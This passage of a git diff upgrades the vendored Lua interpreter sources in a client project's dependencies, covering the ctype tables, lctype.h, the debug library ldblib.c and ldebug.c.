6. */ + 0x04, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x05, /* 6. */ 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, - 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, /* 7. */ + 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, /* 7. */ 0x05, 0x05, 0x05, 0x04, 0x04, 0x04, 0x04, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 8. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 9. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* a. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* b. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* c. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* d. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* f. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, /* 8. */ + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, /* 9. */ + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, /* a. */ + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, /* b. */ + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, + 0x00, 0x00, NONA, NONA, NONA, NONA, NONA, NONA, /* c. */ + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, /* d. */ + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, /* e. */ + NONA, NONA, NONA, NONA, NONA, NONA, NONA, NONA, + NONA, NONA, NONA, NONA, NONA, 0x00, 0x00, 0x00, /* f. */ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; -#endif /* } */ +#endif /* } */ diff --git a/client/deps/liblua/lctype.h b/client/deps/liblua/lctype.h index eda021a90..864e19018 100644 --- a/client/deps/liblua/lctype.h +++ b/client/deps/liblua/lctype.h @@ -1,5 +1,5 @@ /* -** $Id: lctype.h,v 1.12 2011/07/15 12:50:29 roberto Exp $ +** $Id: lctype.h $ ** 'ctype' functions for Lua ** See Copyright Notice in lua.h */ @@ -13,65 +13,71 @@ /* ** WARNING: the functions defined here do not necessarily correspond ** to the similar functions in the standard C ctype.h. They are -** optimized for the specific needs of Lua +** optimized for the specific needs of Lua. */ #if !defined(LUA_USE_CTYPE) #if 'A' == 65 && '0' == 48 /* ASCII case: can use its own tables; faster and fixed */ -#define LUA_USE_CTYPE 0 +#define LUA_USE_CTYPE 0 #else /* must use standard C ctype */ -#define LUA_USE_CTYPE 1 +#define LUA_USE_CTYPE 1 #endif #endif -#if !LUA_USE_CTYPE /* { */ +#if !LUA_USE_CTYPE /* { */ #include #include "llimits.h" -#define ALPHABIT 0 -#define DIGITBIT 1 -#define PRINTBIT 2 -#define SPACEBIT 3 -#define XDIGITBIT 4 +#define ALPHABIT 0 +#define DIGITBIT 1 +#define PRINTBIT 2 +#define SPACEBIT 3 +#define XDIGITBIT 4 -#define MASK(B) (1 << (B)) +#define MASK(B) (1 << (B)) /* ** add 1 to char to allow index -1 (EOZ) */ -#define testprop(c,p) (luai_ctype_[(c)+1] & (p)) +#define testprop(c,p) (luai_ctype_[(c)+1] & (p)) /* ** 'lalpha' (Lua alphabetic) and 'lalnum' (Lua alphanumeric) both include '_' */ -#define lislalpha(c) testprop(c, MASK(ALPHABIT)) -#define lislalnum(c) testprop(c, (MASK(ALPHABIT) | MASK(DIGITBIT))) -#define lisdigit(c) testprop(c, MASK(DIGITBIT)) -#define lisspace(c) testprop(c, MASK(SPACEBIT)) -#define lisprint(c) testprop(c, MASK(PRINTBIT)) -#define lisxdigit(c) testprop(c, MASK(XDIGITBIT)) +#define lislalpha(c) testprop(c, MASK(ALPHABIT)) +#define lislalnum(c) testprop(c, (MASK(ALPHABIT) | MASK(DIGITBIT))) +#define lisdigit(c) testprop(c, MASK(DIGITBIT)) +#define lisspace(c) testprop(c, MASK(SPACEBIT)) +#define lisprint(c) testprop(c, MASK(PRINTBIT)) +#define lisxdigit(c) testprop(c, MASK(XDIGITBIT)) + /* -** this 'ltolower' only works for alphabetic characters +** In ASCII, this 'ltolower' is correct for alphabetic characters and +** for '.'. That is enough for Lua needs. ('check_exp' ensures that +** the character either is an upper-case letter or is unchanged by +** the transformation, which holds for lower-case letters and '.'.) */ -#define ltolower(c) ((c) | ('A' ^ 'a')) +#define ltolower(c) \ + check_exp(('A' <= (c) && (c) <= 'Z') || (c) == ((c) | ('A' ^ 'a')), \ + (c) | ('A' ^ 'a')) -/* two more entries for 0 and -1 (EOZ) */ -LUAI_DDEC const lu_byte luai_ctype_[UCHAR_MAX + 2]; +/* one entry for each character and for -1 (EOZ) */ +LUAI_DDEC(const lu_byte luai_ctype_[UCHAR_MAX + 2];) -#else /* }{ */ +#else /* }{ */ /* ** use standard C ctypes @@ -80,16 +86,16 @@ LUAI_DDEC const lu_byte luai_ctype_[UCHAR_MAX + 2]; #include -#define lislalpha(c) (isalpha(c) || (c) == '_') -#define lislalnum(c) (isalnum(c) || (c) == '_') -#define lisdigit(c) (isdigit(c)) -#define lisspace(c) (isspace(c)) -#define lisprint(c) (isprint(c)) -#define lisxdigit(c) (isxdigit(c)) +#define lislalpha(c) (isalpha(c) || (c) == '_') +#define lislalnum(c) (isalnum(c) || (c) == '_') +#define lisdigit(c) (isdigit(c)) +#define lisspace(c) (isspace(c)) +#define lisprint(c) (isprint(c)) +#define lisxdigit(c) (isxdigit(c)) -#define ltolower(c) (tolower(c)) +#define ltolower(c) (tolower(c)) -#endif /* } */ +#endif /* } */ #endif diff --git a/client/deps/liblua/ldblib.c b/client/deps/liblua/ldblib.c index b72c9d7ff..3da76fc69 100644 --- a/client/deps/liblua/ldblib.c +++ b/client/deps/liblua/ldblib.c @@ -1,27 +1,39 @@ /* -** $Id: ldblib.c,v 1.132.1.1 2013/04/12 18:48:47 roberto Exp roberto $ +** $Id: ldblib.c $ ** Interface from Lua to its debug API ** See Copyright Notice in lua.h */ +#define ldblib_c +#define LUA_LIB + +#include "lprefix.h" + #include #include #include -#define ldblib_c -#define LUA_LIB - #include "lua.h" #include "lauxlib.h" #include "lualib.h" -#define HOOKKEY "_HKEY" +/* +** The hook table at registry[HOOKKEY] maps threads to their current +** hook function. +*/ +static const char *const HOOKKEY = "_HOOKKEY"; + +/* +** If L1 != L, L1 can be in any state, and therefore there are no +** guarantees about its stack space; any push in L1 must be +** checked. +*/ static void checkstack(lua_State *L, lua_State *L1, int n) { - if (L != L1 && !lua_checkstack(L1, n)) + if (l_unlikely(L != L1 && !lua_checkstack(L1, n))) luaL_error(L, "stack overflow"); } @@ -43,8 +55,7 @@ static int db_getmetatable(lua_State *L) { static int db_setmetatable(lua_State *L) { int t = lua_type(L, 2); - luaL_argcheck(L, t == LUA_TNIL || t == LUA_TTABLE, 2, - "nil or table expected"); + luaL_argexpected(L, t == LUA_TNIL || t == LUA_TTABLE, 2, "nil or table"); lua_settop(L, 2); lua_setmetatable(L, 1); return 1; /* return 1st argument */ @@ -52,88 +63,111 @@ static int db_setmetatable(lua_State *L) { static int db_getuservalue(lua_State *L) { + int n = (int)luaL_optinteger(L, 2, 1); if (lua_type(L, 1) != LUA_TUSERDATA) - lua_pushnil(L); - else - lua_getuservalue(L, 1); + luaL_pushfail(L); + else if (lua_getiuservalue(L, 1, n) != LUA_TNONE) { + lua_pushboolean(L, 1); + return 2; + } return 1; } static int db_setuservalue(lua_State *L) { - if (lua_type(L, 1) == LUA_TLIGHTUSERDATA) - luaL_argerror(L, 1, "full userdata expected, got light userdata"); + int n = (int)luaL_optinteger(L, 3, 1); luaL_checktype(L, 1, LUA_TUSERDATA); - if (!lua_isnoneornil(L, 2)) - luaL_checktype(L, 2, LUA_TTABLE); + luaL_checkany(L, 2); lua_settop(L, 2); - lua_setuservalue(L, 1); + if (!lua_setiuservalue(L, 1, n)) + luaL_pushfail(L); return 1; } -static void settabss(lua_State *L, const char *i, const char *v) { - lua_pushstring(L, v); - lua_setfield(L, -2, i); -} - - -static void settabsi(lua_State *L, const char *i, int v) { - lua_pushinteger(L, v); - lua_setfield(L, -2, i); -} - - -static void settabsb(lua_State *L, const char *i, int v) { - lua_pushboolean(L, v); - lua_setfield(L, -2, i); -} - - +/* +** Auxiliary function used by several library functions: check for +** an optional thread as function's first argument and set 'arg' with +** 1 if this argument is present (so that functions can skip it to +** access their other arguments) +*/ static lua_State *getthread(lua_State *L, int *arg) { if (lua_isthread(L, 1)) { *arg = 1; return lua_tothread(L, 1); } else { *arg = 0; - return L; + return L; /* function will operate over current thread */ } } -static void treatstackoption(lua_State *L, lua_State *L1, const char *fname) { - if (L == L1) { - lua_pushvalue(L, -2); - lua_remove(L, -3); - } else - lua_xmove(L1, L, 1); - lua_setfield(L, -2, fname); +/* +** Variations of 'lua_settable', used by 'db_getinfo' to put results +** from 'lua_getinfo' into result table. Key is always a string; +** value can be a string, an int, or a boolean. +*/ +static void settabss(lua_State *L, const char *k, const char *v) { + lua_pushstring(L, v); + lua_setfield(L, -2, k); +} + +static void settabsi(lua_State *L, const char *k, int v) { + lua_pushinteger(L, v); + lua_setfield(L, -2, k); +} + +static void settabsb(lua_State *L, const char *k, int v) { + lua_pushboolean(L, v); + lua_setfield(L, -2, k); } +/* +** In function 'db_getinfo', the call to 'lua_getinfo' may push +** results on the stack; later it creates the result table to put +** these objects. Function 'treatstackoption' puts the result from +** 'lua_getinfo' on top of the result table so that it can call +** 'lua_setfield'. +*/ +static void treatstackoption(lua_State *L, lua_State *L1, const char *fname) { + if (L == L1) + lua_rotate(L, -2, 1); /* exchange object and table */ + else + lua_xmove(L1, L, 1); /* move object to the "main" stack */ + lua_setfield(L, -2, fname); /* put object into table */ +} + + +/* +** Calls 'lua_getinfo' and collects all results in a new table. +** L1 needs stack space for an optional input (function) plus +** two optional outputs (function and line table) from function +** 'lua_getinfo'. +*/ static int db_getinfo(lua_State *L) { lua_Debug ar; int arg; lua_State *L1 = getthread(L, &arg); - const char *options = luaL_optstring(L, arg + 2, "flnStu"); + const char *options = luaL_optstring(L, arg + 2, "flnSrtu"); checkstack(L, L1, 3); - if (lua_isnumber(L, arg + 1)) { - if (!lua_getstack(L1, (int)lua_tointeger(L, arg + 1), &ar)) { - lua_pushnil(L); /* level out of range */ + luaL_argcheck(L, options[0] != '>', arg + 2, "invalid option '>'"); + if (lua_isfunction(L, arg + 1)) { /* info about a function? */ + options = lua_pushfstring(L, ">%s", options); /* add '>' to 'options' */ + lua_pushvalue(L, arg + 1); /* move function to 'L1' stack */ + lua_xmove(L, L1, 1); + } else { /* stack level */ + if (!lua_getstack(L1, (int)luaL_checkinteger(L, arg + 1), &ar)) { + luaL_pushfail(L); /* level out of range */ return 1; } - } else if (lua_isfunction(L, arg + 1)) { - lua_pushfstring(L, ">%s", options); - options = lua_tostring(L, -1); - lua_pushvalue(L, arg + 1); - lua_xmove(L, L1, 1); - } else - return luaL_argerror(L, arg + 1, "function or level expected"); + } if (!lua_getinfo(L1, options, &ar)) return luaL_argerror(L, arg + 2, "invalid option"); - lua_createtable(L, 0, 2); + lua_newtable(L); /* table to collect results */ if (strchr(options, 'S')) { - settabss(L, "source", ar.source); + lua_pushlstring(L, ar.source, ar.srclen); + lua_setfield(L, -2, "source"); settabss(L, "short_src", ar.short_src); settabsi(L, "linedefined", ar.linedefined); settabsi(L, "lastlinedefined", ar.lastlinedefined); @@ -150,6 +184,10 @@ static int db_getinfo(lua_State *L) { settabss(L, "name", ar.name); settabss(L, "namewhat", ar.namewhat); } + if (strchr(options, 'r')) { + settabsi(L, "ftransfer", ar.ftransfer); + settabsi(L, "ntransfer", ar.ntransfer); + } if (strchr(options, 't')) settabsb(L, "istailcall", ar.istailcall); if (strchr(options, 'L')) @@ -163,25 +201,26 @@ static int db_getinfo(lua_State *L) { static int db_getlocal(lua_State *L) { int arg; lua_State *L1 = getthread(L, &arg); - lua_Debug ar; - const char *name; - int nvar = luaL_checkint(L, arg + 2); /* local-variable index */ + int nvar = (int)luaL_checkinteger(L, arg + 2); /* local-variable index */ if (lua_isfunction(L, arg + 1)) { /* function argument? */ lua_pushvalue(L, arg + 1); /* push function */ lua_pushstring(L, lua_getlocal(L, NULL, nvar)); /* push local name */ - return 1; + return 1; /* return only name (there is no value) */ } else { /* stack-level argument */ - if (!lua_getstack(L1, luaL_checkint(L, arg + 1), &ar)) /* out of range? */ + lua_Debug ar; + const char *name; + int level = (int)luaL_checkinteger(L, arg + 1); + if (l_unlikely(!lua_getstack(L1, level, &ar))) /* out of range? */ return luaL_argerror(L, arg + 1, "level out of range"); checkstack(L, L1, 1); name = lua_getlocal(L1, &ar, nvar); if (name) { - lua_xmove(L1, L, 1); /* push local value */ + lua_xmove(L1, L, 1); /* move local value */ lua_pushstring(L, name); /* push name */ - lua_pushvalue(L, -2); /* re-order */ + lua_rotate(L, -2, 1); /* re-order */ return 2; } else { - lua_pushnil(L); /* no name (nor value) */ + luaL_pushfail(L); /* no name (nor value) */ return 1; } } @@ -190,27 +229,36 @@ static int db_getlocal(lua_State *L) { static int db_setlocal(lua_State *L) { int arg; + const char *name; lua_State *L1 = getthread(L, &arg); lua_Debug ar; - if (!lua_getstack(L1, luaL_checkint(L, arg + 1), &ar)) /* out of range? */ + int level = (int)luaL_checkinteger(L, arg + 1); + int nvar = (int)luaL_checkinteger(L, arg + 2); + if (l_unlikely(!lua_getstack(L1, level, &ar))) /* out of range? */ return luaL_argerror(L, arg + 1, "level out of range"); luaL_checkany(L, arg + 3); lua_settop(L, arg + 3); checkstack(L, L1, 1); lua_xmove(L, L1, 1); - lua_pushstring(L, lua_setlocal(L1, &ar, luaL_checkint(L, arg + 2))); + name = lua_setlocal(L1, &ar, nvar); + if (name == NULL) + lua_pop(L1, 1); /* pop value (if not popped by 'lua_setlocal') */ + lua_pushstring(L, name); return 1; } +/* +** get (if 'get' is true) or set an upvalue from a closure +*/ static int auxupvalue(lua_State *L, int get) { const char *name; - int n = luaL_checkint(L, 2); - luaL_checktype(L, 1, LUA_TFUNCTION); + int n = (int)luaL_checkinteger(L, 2); /* upvalue index */ + luaL_checktype(L, 1, LUA_TFUNCTION); /* closure */ name = get ? lua_getupvalue(L, 1, n) : lua_setupvalue(L, 1, n); if (name == NULL) return 0; lua_pushstring(L, name); - lua_insert(L, -(get + 1)); + lua_insert(L, -(get + 1)); /* no-op if get is false */ return get + 1; } @@ -226,27 +274,37 @@ static int db_setupvalue(lua_State *L) { } -static int checkupval(lua_State *L, int argf, int argnup) { - lua_Debug ar; - int nup = luaL_checkint(L, argnup); - luaL_checktype(L, argf, LUA_TFUNCTION); - lua_pushvalue(L, argf); - lua_getinfo(L, ">u", &ar); - luaL_argcheck(L, 1 <= nup && nup <= ar.nups, argnup, "invalid upvalue index"); - return nup; +/* +** Check whether a given upvalue from a given closure exists and +** returns its index +*/ +static void *checkupval(lua_State *L, int argf, int argnup, int *pnup) { + void *id; + int nup = (int)luaL_checkinteger(L, argnup); /* upvalue index */ + luaL_checktype(L, argf, LUA_TFUNCTION); /* closure */ + id = lua_upvalueid(L, argf, nup); + if (pnup) { + luaL_argcheck(L, id != NULL, argnup, "invalid upvalue index"); + *pnup = nup; + } + return id; } static int db_upvalueid(lua_State *L) { - int n = checkupval(L, 1, 2); - lua_pushlightuserdata(L, lua_upvalueid(L, 1, n)); + void *id = checkupval(L, 1, 2, NULL); + if (id != NULL) + lua_pushlightuserdata(L, id); + else + luaL_pushfail(L); return 1; } static int db_upvaluejoin(lua_State *L) { - int n1 = checkupval(L, 1, 2); - int n2 = checkupval(L, 3, 4); + int n1, n2; + checkupval(L, 1, 2, &n1); + checkupval(L, 3, 4, &n2); luaL_argcheck(L, !lua_iscfunction(L, 1), 1, "Lua function expected"); luaL_argcheck(L, !lua_iscfunction(L, 3), 3, "Lua function expected"); lua_upvaluejoin(L, 1, n1, 3, n2); @@ -254,26 +312,29 @@ static int db_upvaluejoin(lua_State *L) { } -#define gethooktable(L) luaL_getsubtable(L, LUA_REGISTRYINDEX, HOOKKEY) - - +/* +** Call hook function registered at hook table for the current +** thread (if there is one) +*/ static void hookf(lua_State *L, lua_Debug *ar) { static const char *const hooknames[] = {"call", "return", "line", "count", "tail call"}; - gethooktable(L); + lua_getfield(L, LUA_REGISTRYINDEX, HOOKKEY); lua_pushthread(L); - lua_rawget(L, -2); - if (lua_isfunction(L, -1)) { - lua_pushstring(L, hooknames[(int)ar->event]); + if (lua_rawget(L, -2) == LUA_TFUNCTION) { /* is there a hook function? */ + lua_pushstring(L, hooknames[(int)ar->event]); /* push event name */ if (ar->currentline >= 0) - lua_pushinteger(L, ar->currentline); + lua_pushinteger(L, ar->currentline); /* push current line */ else lua_pushnil(L); lua_assert(lua_getinfo(L, "lS", ar)); - lua_call(L, 2, 0); + lua_call(L, 2, 0); /* call hook function */ } } +/* +** Convert a string mask (for 'sethook') into a bit mask +*/ static int makemask(const char *smask, int count) { int mask = 0; if (strchr(smask, 'c')) mask |= LUA_MASKCALL; @@ -284,6 +345,9 @@ static int makemask(const char *smask, int count) { } +/* +** Convert a bit mask (for 'gethook') into a string mask +*/ static char *unmakemask(int mask, char *smask) { int i = 0; if (mask & LUA_MASKCALL) smask[i++] = 'c'; @@ -298,7 +362,7 @@ static int db_sethook(lua_State *L) { int arg, mask, count; lua_Hook func; lua_State *L1 = getthread(L, &arg); - if (lua_isnoneornil(L, arg + 1)) { + if (lua_isnoneornil(L, arg + 1)) { /* no hook? */ lua_settop(L, arg + 1); func = NULL; mask = 0; @@ -306,22 +370,23 @@ static int db_sethook(lua_State *L) { } else { const char *smask = luaL_checkstring(L, arg + 2); luaL_checktype(L, arg + 1, LUA_TFUNCTION); - count = luaL_optint(L, arg + 3, 0); + count = (int)luaL_optinteger(L, arg + 3, 0); func = hookf; mask = makemask(smask, count); } - if (gethooktable(L) == 0) { /* creating hook table? */ - lua_pushstring(L, "k"); + if (!luaL_getsubtable(L, LUA_REGISTRYINDEX, HOOKKEY)) { + /* table just created; initialize it */ + lua_pushliteral(L, "k"); lua_setfield(L, -2, "__mode"); /** hooktable.__mode = "k" */ lua_pushvalue(L, -1); - lua_setmetatable(L, -2); /* setmetatable(hooktable) = hooktable */ + lua_setmetatable(L, -2); /* metatable(hooktable) = hooktable */ } checkstack(L, L1, 1); lua_pushthread(L1); - lua_xmove(L1, L, 1); - lua_pushvalue(L, arg + 1); - lua_rawset(L, -3); /* set new hook */ - lua_sethook(L1, func, mask, count); /* set hooks */ + lua_xmove(L1, L, 1); /* key (thread) */ + lua_pushvalue(L, arg + 1); /* value (hook function) */ + lua_rawset(L, -3); /* hooktable[L1] = new Lua hook */ + lua_sethook(L1, func, mask, count); return 0; } @@ -332,18 +397,21 @@ static int db_gethook(lua_State *L) { char buff[5]; int mask = lua_gethookmask(L1); lua_Hook hook = lua_gethook(L1); - if (hook != NULL && hook != hookf) /* external hook? */ + if (hook == NULL) { /* no hook? */ + luaL_pushfail(L); + return 1; + } else if (hook != hookf) /* external hook? */ lua_pushliteral(L, "external hook"); - else { - gethooktable(L); + else { /* hook table must exist */ + lua_getfield(L, LUA_REGISTRYINDEX, HOOKKEY); checkstack(L, L1, 1); lua_pushthread(L1); lua_xmove(L1, L, 1); - lua_rawget(L, -2); /* get hook */ + lua_rawget(L, -2); /* 1st result = hooktable[L1] */ lua_remove(L, -2); /* remove hook table */ } - lua_pushstring(L, unmakemask(mask, buff)); - lua_pushinteger(L, lua_gethookcount(L1)); + lua_pushstring(L, unmakemask(mask, buff)); /* 2nd result = mask */ + lua_pushinteger(L, lua_gethookcount(L1)); /* 3rd result = count */ return 3; } @@ -351,13 +419,13 @@ static int db_gethook(lua_State *L) { static int db_debug(lua_State *L) { for (;;) { char buffer[250]; - luai_writestringerror("%s", "lua_debug> "); - if (fgets(buffer, sizeof(buffer), stdin) == 0 || + lua_writestringerror("%s", "lua_debug> "); + if (fgets(buffer, sizeof(buffer), stdin) == NULL || strcmp(buffer, "cont\n") == 0) return 0; if (luaL_loadbuffer(L, buffer, strlen(buffer), "=(debug command)") || lua_pcall(L, 0, 0, 0)) - luai_writestringerror("%s\n", lua_tostring(L, -1)); + lua_writestringerror("%s\n", luaL_tolstring(L, -1, NULL)); lua_settop(L, 0); /* remove eventual returns */ } } @@ -370,13 +438,21 @@ static int db_traceback(lua_State *L) { if (msg == NULL && !lua_isnoneornil(L, arg + 1)) /* non-string 'msg'? */ lua_pushvalue(L, arg + 1); /* return it untouched */ else { - int level = luaL_optint(L, arg + 2, (L == L1) ? 1 : 0); + int level = (int)luaL_optinteger(L, arg + 2, (L == L1) ? 1 : 0); luaL_traceback(L, L1, msg, level); } return 1; } +static int db_setcstacklimit(lua_State *L) { + int limit = (int)luaL_checkinteger(L, 1); + int res = lua_setcstacklimit(L, limit); + lua_pushinteger(L, res); + return 1; +} + + static const luaL_Reg dblib[] = { {"debug", db_debug}, {"getuservalue", db_getuservalue}, @@ -394,6 +470,7 @@ static const luaL_Reg dblib[] = { {"setmetatable", db_setmetatable}, {"setupvalue", db_setupvalue}, {"traceback", db_traceback}, + {"setcstacklimit", db_setcstacklimit}, {NULL, NULL} }; diff --git a/client/deps/liblua/ldebug.c b/client/deps/liblua/ldebug.c index dec9bbd07..43420c629 100644 --- a/client/deps/liblua/ldebug.c +++ b/client/deps/liblua/ldebug.c @@ -1,18 +1,19 @@ /* -** $Id: ldebug.c,v 2.90 2012/08/16 17:34:28 roberto Exp $ +** $Id: ldebug.c $ ** Debug Interface ** See Copyright Notice in lua.h */ +#define ldebug_c +#define LUA_CORE + +#include "lprefix.h" + #include #include #include - -#define ldebug_c -#define LUA_CORE - #include "lua.h" #include "lapi.h" @@ -30,18 +31,12 @@ -#define noLuaClosure(f) ((f) == NULL || (f)->c.tt == LUA_TCCL) +#define LuaClosure(f) ((f) != NULL && (f)->c.tt == LUA_VLCL) -static const char *getfuncname(lua_State *L, CallInfo *ci, const char **name); -static void swapextra(lua_State *L) { - if (L->status == LUA_YIELD) { - CallInfo *ci = L->ci; /* get function that yielded */ - StkId temp = ci->func; /* exchange its 'func' and 'extra' values */ - ci->func = restorestack(L, ci->extra); - ci->extra = savestack(L, temp); - } -} +static const char *funcnamefromcall(lua_State *L, CallInfo *ci, + const char **name); + static int currentpc(CallInfo *ci) { lua_assert(isLua(ci)); @@ -49,26 +44,100 @@ static int currentpc(CallInfo *ci) { } -static int currentline(CallInfo *ci) { - return getfuncline(ci_func(ci)->p, currentpc(ci)); +/* +** Get a "base line" to find the line corresponding to an instruction. +** Base lines are regularly placed at MAXIWTHABS intervals, so usually +** an integer division gets the right place. When the source file has +** large sequences of empty/comment lines, it may need extra entries, +** so the original estimate needs a correction. +** If the original estimate is -1, the initial 'if' ensures that the +** 'while' will run at least once. +** The assertion that the estimate is a lower bound for the correct base +** is valid as long as the debug info has been generated with the same +** value for MAXIWTHABS or smaller. (Previous releases use a little +** smaller value.) +*/ +static int getbaseline(const Proto *f, int pc, int *basepc) { + if (f->sizeabslineinfo == 0 || pc < f->abslineinfo[0].pc) { + *basepc = -1; /* start from the beginning */ + return f->linedefined; + } else { + int i = cast_uint(pc) / MAXIWTHABS - 1; /* get an estimate */ + /* estimate must be a lower bound of the correct base */ + lua_assert(i < 0 || + (i < f->sizeabslineinfo && f->abslineinfo[i].pc <= pc)); + while (i + 1 < f->sizeabslineinfo && pc >= f->abslineinfo[i + 1].pc) + i++; /* low estimate; adjust it */ + *basepc = f->abslineinfo[i].pc; + return f->abslineinfo[i].line; + } } /* -** this function can be called asynchronous (e.g. during a signal) +** Get the line corresponding to instruction 'pc' in function 'f'; +** first gets a base line and from there does the increments until +** the desired instruction. */ -LUA_API int lua_sethook(lua_State *L, lua_Hook func, int mask, int count) { +int luaG_getfuncline(const Proto *f, int pc) { + if (f->lineinfo == NULL) /* no debug information? */ + return -1; + else { + int basepc; + int baseline = getbaseline(f, pc, &basepc); + while (basepc++ < pc) { /* walk until given instruction */ + lua_assert(f->lineinfo[basepc] != ABSLINEINFO); + baseline += f->lineinfo[basepc]; /* correct line */ + } + return baseline; + } +} + + +static int getcurrentline(CallInfo *ci) { + return luaG_getfuncline(ci_func(ci)->p, currentpc(ci)); +} + + +/* +** Set 'trap' for all active Lua frames. +** This function can be called during a signal, under "reasonable" +** assumptions. A new 'ci' is completely linked in the list before it +** becomes part of the "active" list, and we assume that pointers are +** atomic; see comment in next function. +** (A compiler doing interprocedural optimizations could, theoretically, +** reorder memory writes in such a way that the list could be +** temporarily broken while inserting a new element. We simply assume it +** has no good reasons to do that.) +*/ +static void settraps(CallInfo *ci) { + for (; ci != NULL; ci = ci->previous) + if (isLua(ci)) + ci->u.l.trap = 1; +} + + +/* +** This function can be called during a signal, under "reasonable" +** assumptions. +** Fields 'basehookcount' and 'hookcount' (set by 'resethookcount') +** are for debug only, and it is no problem if they get arbitrary +** values (causes at most one wrong hook call). 'hookmask' is an atomic +** value. We assume that pointers are atomic too (e.g., gcc ensures that +** for all platforms where it runs). Moreover, 'hook' is always checked +** before being called (see 'luaD_hook'). +*/ +LUA_API void lua_sethook(lua_State *L, lua_Hook func, int mask, int count) { if (func == NULL || mask == 0) { /* turn off hooks? */ mask = 0; func = NULL; } - if (isLua(L->ci)) - L->oldpc = L->ci->u.l.savedpc; L->hook = func; L->basehookcount = count; resethookcount(L); L->hookmask = cast_byte(mask); - return 1; + if (mask) + settraps(L->ci); /* to trace inside 'luaV_execute' */ } @@ -103,7 +172,7 @@ LUA_API int lua_getstack(lua_State *L, int level, lua_Debug *ar) { } -static const char *upvalname(Proto *p, int uv) { +static const char *upvalname(const Proto *p, int uv) { TString *s = check_exp(uv < p->sizeupvalues, p->upvalues[uv].name); if (s == NULL) return "?"; else return getstr(s); @@ -111,37 +180,36 @@ static const char *upvalname(Proto *p, int uv) { static const char *findvararg(CallInfo *ci, int n, StkId *pos) { - int nparams = clLvalue(ci->func)->p->numparams; - int nvararg = cast_int(ci->u.l.base - ci->func) - nparams; - if (n <= -nvararg) - return NULL; /* no such vararg */ - else { - *pos = ci->func + nparams - n; - return "(*vararg)"; /* generic name for any vararg */ + if (clLvalue(s2v(ci->func.p))->p->is_vararg) { + int nextra = ci->u.l.nextraargs; + if (n >= -nextra) { /* 'n' is negative */ + *pos = ci->func.p - nextra - (n + 1); + return "(vararg)"; /* generic name for any vararg */ + } } + return NULL; /* no such vararg */ } -static const char *findlocal(lua_State *L, CallInfo *ci, int n, StkId *pos) { +const char *luaG_findlocal(lua_State *L, CallInfo *ci, int n, StkId *pos) { + StkId base = ci->func.p + 1; const char *name = NULL; - StkId base; if (isLua(ci)) { if (n < 0) /* access to vararg values? */ return findvararg(ci, n, pos); - else { - base = ci->u.l.base; - name = luaF_getlocalname(ci_func(ci)->p, n, currentpc(ci)); - } - } else - base = ci->func + 1; - if (name == NULL) { /* no 'standard' name? */ - StkId limit = (ci == L->ci) ? L->top : ci->next->func; - if (limit - base >= n && n > 0) /* is 'n' inside 'ci' stack? */ - name = "(*temporary)"; /* generic name for any valid slot */ else + name = luaF_getlocalname(ci_func(ci)->p, n, currentpc(ci)); + } + if (name == NULL) { /* no 'standard' name? */ + StkId limit = (ci == L->ci) ? L->top.p : ci->next->func.p; + if (limit - base >= n && n > 0) { /* is 'n' inside 'ci' stack? */ + /* generic name for any valid slot */ + name = isLua(ci) ? "(temporary)" : "(C temporary)"; + } else return NULL; /* no name */ } - *pos = base + (n - 1); + if (pos) + *pos = base + (n - 1); return name; } @@ -149,77 +217,108 @@ static const char *findlocal(lua_State *L, CallInfo *ci, int n, StkId *pos) { LUA_API const char *lua_getlocal(lua_State *L, const lua_Debug *ar, int n) { const char *name; lua_lock(L); - swapextra(L); if (ar == NULL) { /* information about non-active function? */ - if (!isLfunction(L->top - 1)) /* not a Lua function? */ + if (!isLfunction(s2v(L->top.p - 1))) /* not a Lua function? */ name = NULL; else /* consider live variables at function start (parameters) */ - name = luaF_getlocalname(clLvalue(L->top - 1)->p, n, 0); + name = luaF_getlocalname(clLvalue(s2v(L->top.p - 1))->p, n, 0); } else { /* active function; get information through 'ar' */ - StkId pos = 0; /* to avoid warnings */ - name = findlocal(L, ar->i_ci, n, &pos); + StkId pos = NULL; /* to avoid warnings */ + name = luaG_findlocal(L, ar->i_ci, n, &pos); if (name) { - setobj2s(L, L->top, pos); + setobjs2s(L, L->top.p, pos); api_incr_top(L); } } - swapextra(L); 